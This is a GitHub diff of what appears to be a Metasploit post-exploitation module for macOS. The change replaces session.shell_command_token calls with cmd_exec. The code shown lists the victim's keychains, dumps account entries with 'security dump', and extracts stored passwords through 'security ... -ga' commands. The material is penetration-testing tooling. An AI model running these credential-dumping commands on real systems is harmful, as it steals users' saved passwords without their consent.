File tree Expand file tree Collapse file tree 1 file changed +6
-6
lines changed Expand file tree Collapse file tree 1 file changed +6
-6
lines changed Original file line number Diff line number Diff line change @@ -29,16 +29,16 @@ def initialize(info={})
29
29
end
30
30
31
31
def list_keychains
32
- keychains = session . shell_command_token ( "security list" )
33
- user = session . shell_command_token ( "whoami" )
32
+ keychains = cmd_exec ( "security list" )
33
+ user = cmd_exec ( "whoami" )
34
34
print_status ( "The following keychains for #{ user . strip } were found:" )
35
35
print_line ( keychains . chomp )
36
36
return keychains =~ /No such file or directory/ ? nil : keychains
37
37
end
38
38
39
39
def enum_accounts ( keychains )
40
- user = session . shell_command_token ( "whoami" ) . chomp
41
- out = session . shell_command_token ( "security dump | egrep 'acct|desc|srvr|svce'" )
40
+ user = cmd_exec ( "whoami" ) . chomp
41
+ out = cmd_exec ( "security dump | egrep 'acct|desc|srvr|svce'" )
42
42
43
43
i = 0
44
44
accounts = { }
@@ -73,7 +73,7 @@ def get_passwords(accounts)
73
73
s = accounts [ num ] [ "svce" ]
74
74
end
75
75
76
- cmd = session . shell_command_token ( "security #{ c } -ga \" #{ accounts [ num ] [ "acct" ] } \" -s \" #{ s } \" 2>&1" )
76
+ cmd = cmd_exec ( "security #{ c } -ga \" #{ accounts [ num ] [ "acct" ] } \" -s \" #{ s } \" 2>&1" )
77
77
78
78
cmd . split ( "\n " ) . each do |line |
79
79
if line =~ /password: /
@@ -109,7 +109,7 @@ def run
109
109
return
110
110
end
111
111
112
- user = session . shell_command_token ( "/usr/bin/whoami" ) . chomp
112
+ user = cmd_exec ( "/usr/bin/whoami" ) . chomp
113
113
accounts = enum_accounts ( keychains )
114
114
save ( accounts )
115
115
You can’t perform that action at this time.
0 commit comments